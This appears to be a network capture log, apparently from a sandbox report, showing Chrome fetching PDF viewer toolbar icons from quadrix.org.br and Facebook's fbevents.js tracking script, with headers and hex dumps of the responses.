2024-05-10 07:20:57 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:57 GMT Content-Type: image/png Content-Length: 206 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=225 ETag: "0ba232441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:38 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6791 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b716e3f225e-ORD
2024-05-10 07:20:57 UTC	206	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 95 49 44 41 54 78 da 63 20 02 fc df fe ff 1d 0e b8 03 a2 e0 d9 ff 27 38 e0 33 88 82 47 ff 1f ad 9e 52 59 55 59 f5 ff 11 83 03 0c 36 a6 82 c4 21 0a 1e fc 7f 70 2d fc bf 2f 10 3e 40 b2 99 0f 24 0e 51 70 17 08 7d c1 f0 2e 8a db ee 82 f8 4c 40 d6 1f 20 04 03 18 0d e7 fd 81 28 f8 0b 84 60 00 a3 e1 bc bf 94 9b 40 4d 2b 94 d0 4d f8 6f 00 37 f9 ff 61 20 bc f8 ff 2a 10 1e 06 62 18 bc 08 12 07 2b 78 b9 f8 ff 41 ec f0 e5 12 88 69 86 0c 0e 38 a0 11 03 03 00 95 84 b6 9f 5c c2 ff 99 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxc '83GRYUY6!p-/>@$Qp}.L@ (`@M+Mo7a *b+xAi8\IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	378	OUT	GET /web/images/toolbarButton-zoomOut.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	398	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 85 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=88 ETag: "065435441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:42 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b728bd06380-ORD
2024-05-10 07:20:58 UTC	85	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 1c 49 44 41 54 78 da 63 18 51 e0 ff 3b 4c 88 aa e0 12 26 44 35 c2 01 13 0e a7 10 02 00 c6 0a 27 ed 67 78 81 0a 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxcQ;L&D5'gxIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	393	OUT	GET /web/images/toolbarButton-secondaryToolbarToggle.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	401	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 229 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=243 ETag: "0de7031441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:36 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b7299a95c8f-ORD
2024-05-10 07:20:58 UTC	229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 ac 49 44 41 54 78 da bd d1 bf 0b 01 61 1c c7 f1 e7 fc 18 28 83 cd 6e d0 99 64 30 98 fc 6b 76 0c 94 6c 8a e5 06 8a 41 ac 92 22 45 9d 41 c7 a5 2b 17 4a 29 ff 80 b7 5b 2e df 67 97 f7 77 79 d5 67 7b 1e f5 97 68 f2 0c ae 83 a1 59 94 f3 06 f8 5c 19 12 d5 2c ca bb 16 1e 17 c6 c4 35 8b cc 53 1f 97 33 13 12 9a 45 a6 d3 e5 c0 f1 3d 23 a5 f9 db ad 8d 8d fd 9a 2e d2 9a c3 a8 b1 67 fb 18 65 cb 2a 26 1d ce 75 76 ac ef 56 a6 a4 22 d2 e1 dc 60 c3 d2 ef 25 8b ca 90 0e e7 2a 2b e6 4e 2b 5e 50 86 b4 78 28 55 09 ce 94 fe e5 4f 7d 00 7f ac 99 2b 9d be d2 4a 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxa(nd0kvlA"EA+J)[.gwyg{hY\,5S3E=#.ge&uvV"`%+N+^Px(UO}+JIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	377	OUT	GET /web/images/toolbarButton-zoomIn.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 130 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=136 ETag: "065435441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:42 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b72988e2a18-ORD
2024-05-10 07:20:58 UTC	130	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 49 49 44 41 54 78 da 63 a0 3b f8 ff ee ff 3b 54 11 26 34 15 df 80 10 af 82 3f 40 48 8a 02 84 dd 8f a1 f0 3a 10 42 d9 10 19 16 a8 8a f7 20 02 c1 c6 04 0e 10 f8 ff dc ff 73 30 36 76 ab 4e fe 3f 49 75 5f 60 ba 85 da b1 03 00 f2 fb 2b f9 e4 4e 08 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IIDATxc;;T&4?@H:B s06vN?Iu_`+N-IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49779	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:57 UTC	630	OUT	GET /web/images/toolbarButton-search.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	407	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 309 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed ETag: "8047d830441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:35 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b7308f903cc-ORD
2024-05-10 07:20:58 UTC	309	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 fc 49 44 41 54 18 19 9d c1 bf 4a 02 01 00 c7 f1 df 10 34 2a e4 26 6d 0d 4e e9 d0 98 6b 58 b4 f4 02 a6 b8 f5 00 6d 39 98 39 d6 da 13 38 04 a5 63 0a 45 d8 3f 94 83 03 3d 24 45 07 f1 10 7b 82 ac f3 ee db a2 78 51 0d f5 f9 48 7f 43 82 12 03 06 94 d9 d6 77 1c 31 c6 66 c8 10 9b 31 c7 fa 8a 2d 6c b7 57 c9 6f ec ec ee 55 f2 6e 0f 9b 84 fc 26 25 fa d5 9c c2 5a d2 b2 c2 d7 39 fa 93 b2 fc 5c 8b 4e 2a a2 99 54 84 8e 6b c9 cf 31 69 77 c2 9a a9 af d0 76 4c f9 bd 5e d2 7c cb 68 e6 23 4d 73 7c 25 bf c7 43 4c af 45 92 00 01 92 5e 0b f3 22 a3 05 a2 d3 06 06 06 16 5d ba 58 18 e6 a9 42 9a 23 ea 35 a8 4f ef ab d9 51 d1 a9 39 b5 51 f1 fc 40 6b 9a 63 9d 67 9e a6 77 85 b4 Data Ascii: PNGIHDR7IDATJ4&mNkXm998cE?=$E{xQHCw1f1-lWoUn&%Z9\NTk1iwvL^\|h#Ms\|%CLE^"]XB#5OQ9Q@kcgw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49781	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:58 UTC	364	OUT	GET /web/images/texture.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	408	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 2417 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed ETag: "8093132c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:27 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b76d8e62a45-ORD
2024-05-10 07:20:58 UTC	961	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 03 00 00 00 9d b7 81 ec 00 00 00 ae 50 4c 54 45 00 00 00 2c 2c 2c 18 18 18 32 32 32 2e 2e 2e 14 14 14 25 25 25 1c 1c 1c 34 34 34 3f 3f 3f 27 27 27 1a 1a 1a 30 30 30 21 21 21 1f 1f 1f 29 29 29 36 36 36 23 23 23 39 39 39 0d 0d 0d 3b 3b 3b 16 16 16 3d 3d 3d 41 41 41 46 46 46 11 11 11 4a 4a 4a 48 48 48 0f 0f 0f 0b 0b 0b 07 07 07 4c 4c 4c 09 09 09 44 44 44 04 04 04 4e 4e 4e 57 57 57 51 51 51 5e 5e 5e 02 02 02 55 55 55 5c 5c 5c 53 53 53 59 59 59 60 60 60 62 62 62 69 69 69 6d 6d 6d 64 64 64 71 71 71 66 66 66 6f 6f 6f 76 76 76 78 78 78 6b 6b 6b 85 85 85 74 74 74 7a 7a 7a 27 eb d9 00 00 00 00 3a 74 52 4e 53 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f Data Ascii: PNGIHDR@@PLTE,,,222...%%%444???'''000!!!)))666###999;;;===AAAFFFJJJHHHLLLDDDNNNWWWQQQ^^^UUU\\\SSSYYY```bbbiiimmmdddqqqfffooovvvxxxkkktttzzz':tRNS
2024-05-10 07:20:58 UTC	1369	IN	Data Raw: 22 b2 26 d5 be 80 f2 4e 3d 69 a1 e3 45 43 44 03 a4 c2 08 cf 8e f4 9b dc c2 ac a3 05 29 d3 76 70 da 0f 09 0d 67 55 74 77 c7 26 a3 af 2b 92 cd 55 f0 b9 93 e9 35 a0 fa 18 59 32 aa 9c a5 82 3d be f2 07 0c 12 8f 2f de 9e 4a 80 f1 5f 89 44 ac e0 0c 23 c2 a1 5a 72 ea 70 b8 d2 89 e3 bc 0c b0 af 7e d9 9f 2b be d3 a7 9c 8c 18 bd b4 aa a6 6d b0 f5 ab 0e b4 f9 4f 01 8f 13 17 59 06 84 87 b0 59 4b 3c 2e f4 a4 e0 a9 94 8b 38 3d f7 ae c0 4f d3 b1 a3 25 a4 b2 70 80 6e 5d df 5c 24 4c 0f 92 82 93 4a d9 1d ba 6e a5 25 06 df 1e 40 23 b0 7e 48 93 eb a9 5f 59 3d be 02 98 f8 f9 71 33 86 29 50 14 5d 06 72 b3 20 2a 54 bd d4 61 fd 47 4f 26 f1 ab 32 bf ae dd 83 56 99 20 ba 94 25 a2 fd 3e a9 fa 09 b5 60 bb 4b d2 8f c4 0e 24 25 9b 1c ee ab 1a c3 1c 13 7d 3c ce 82 c7 4d 51 0f 96 8f 8c Data Ascii: "&N=iECD)vpgUtw&+U5Y2=/J_D#Zrp~+mOYYK<.8=O%pn]\$LJn%@#~H_Y=q3)P]r *TaGO&2V %>`K$%}<MQ
2024-05-10 07:20:58 UTC	87	IN	Data Raw: 31 dc 54 03 09 0a 0f 05 00 2d 5d db 46 13 37 a2 94 04 68 48 d9 02 2a 56 04 8f 54 27 94 47 23 da ba d3 5e e5 1a 98 36 ee 3c 57 16 4d 8b c6 e3 b7 53 5e 23 80 3f 5a f2 ab 96 bd 3c 03 ec 4e c0 17 2d fb 7f 26 4d 0d cc da 4c 0f 64 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 1T-]F7hH*VT'G#^6<WMS^#?Z<N-&MLdIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49782	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:58 UTC	384	OUT	GET /web/images/toolbarButton-viewThumbnail.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 168 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=185 ETag: "80ce6b34441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:41 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b74a976e1f3-ORD
2024-05-10 07:20:58 UTC	168	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 6f 49 44 41 54 78 da 8d d0 b1 09 80 40 10 44 d1 69 49 2b b0 57 8d b4 80 33 15 11 0c 04 63 03 41 44 84 53 b0 85 31 b8 c3 05 99 e0 e6 47 2f 5a 58 24 8c 8e 4f ac 55 06 4f 1e b1 53 19 dc 2d 65 70 b3 94 c1 d5 52 c6 e5 b8 84 6e a7 0c 64 28 62 b9 70 c2 58 7f 37 1b 65 70 e6 14 9b 95 c1 d1 52 06 07 4b 19 ec 2d 65 f8 92 5d c8 57 7f 27 fc e1 05 34 e6 0a 04 76 86 54 39 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7oIDATx@DiI+W3cADS1G/ZX$OUOS-epRnd(bpX7epRK-e]W'4vT9IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49783	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:58 UTC	384	OUT	GET /web/images/toolbarButton-sidebarToggle.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 206 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=225 ETag: "0ba232441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:38 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b74ac381160-ORD
2024-05-10 07:20:58 UTC	206	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 95 49 44 41 54 78 da 63 20 02 fc df fe ff 1d 0e b8 03 a2 e0 d9 ff 27 38 e0 33 88 82 47 ff 1f ad 9e 52 59 55 59 f5 ff 11 83 03 0c 36 a6 82 c4 21 0a 1e fc 7f 70 2d fc bf 2f 10 3e 40 b2 99 0f 24 0e 51 70 17 08 7d c1 f0 2e 8a db ee 82 f8 4c 40 d6 1f 20 04 03 18 0d e7 fd 81 28 f8 0b 84 60 00 a3 e1 bc bf 94 9b 40 4d 2b 94 d0 4d f8 6f 00 37 f9 ff 61 20 bc f8 ff 2a 10 1e 06 62 18 bc 08 12 07 2b 78 b9 f8 ff 41 ec f0 e5 12 88 69 86 0c 0e 38 a0 11 03 03 00 95 84 b6 9f 5c c2 ff 99 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7IDATxc '83GRYUY6!p-/>@$Qp}.L@ (`@M+Mo7a *b+xAi8\IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49784	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:58 UTC	377	OUT	GET /web/images/toolbarButton-search.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:58 UTC	407	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:58 GMT Content-Type: image/png Content-Length: 309 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed ETag: "8047d830441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:35 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6792 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b7699f32d91-ORD
2024-05-10 07:20:58 UTC	309	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 04 00 00 00 b5 fa 37 ea 00 00 00 fc 49 44 41 54 18 19 9d c1 bf 4a 02 01 00 c7 f1 df 10 34 2a e4 26 6d 0d 4e e9 d0 98 6b 58 b4 f4 02 a6 b8 f5 00 6d 39 98 39 d6 da 13 38 04 a5 63 0a 45 d8 3f 94 83 03 3d 24 45 07 f1 10 7b 82 ac f3 ee db a2 78 51 0d f5 f9 48 7f 43 82 12 03 06 94 d9 d6 77 1c 31 c6 66 c8 10 9b 31 c7 fa 8a 2d 6c b7 57 c9 6f ec ec ee 55 f2 6e 0f 9b 84 fc 26 25 fa d5 9c c2 5a d2 b2 c2 d7 39 fa 93 b2 fc 5c 8b 4e 2a a2 99 54 84 8e 6b c9 cf 31 69 77 c2 9a a9 af d0 76 4c f9 bd 5e d2 7c cb 68 e6 23 4d 73 7c 25 bf c7 43 4c af 45 92 00 01 92 5e 0b f3 22 a3 05 a2 d3 06 06 06 16 5d ba 58 18 e6 a9 42 9a 23 ea 35 a8 4f ef ab d9 51 d1 a9 39 b5 51 f1 fc 40 6b 9a 63 9d 67 9e a6 77 85 b4 Data Ascii: PNGIHDR7IDATJ4&mNkXm998cE?=$E{xQHCw1f1-lWoUn&%Z9\NTk1iwvL^\|h#Ms\|%CLE^"]XB#5OQ9Q@kcgw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49788	157.240.249.8	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:59 UTC	539	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:59 UTC	1498	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;script-src .fbcdn.net .facebook.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;connect-src .fbcdn.net .facebook.net wss://.fbcdn.net attachment.fbsbx.com blob: 'self';img-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-05-10 07:20:59 UTC	1659	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-05-10 07:20:59 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-05-10 07:20:59 UTC	14636	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-05-10 07:20:59 UTC	16384	IN	Data Raw: 5f 63 6f 6e 66 69 67 3b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 61 2e 70 61 72 61 6d 65 74 65 72 5f 73 65 6c 65 63 74 6f 72 73 3b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 61 3d 63 28 61 2c 68 29 3b 76 61 72 20 64 3d 62 28 61 2c 42 6f 6f 6c 65 61 6e 29 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 64 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 7b 70 61 72 61 6d 65 74 65 72 5f 73 65 6c 65 63 74 6f 72 73 3a 64 7d 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f Data Ascii: _config;if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;a=a.parameter_selectors;if(Array.isArray(a)){a=c(a,h);var d=b(a,Boolean);if(a.length===d.length)return{parameter_selectors:d}}return null}function k(a){if(a==null\|\|(typeo
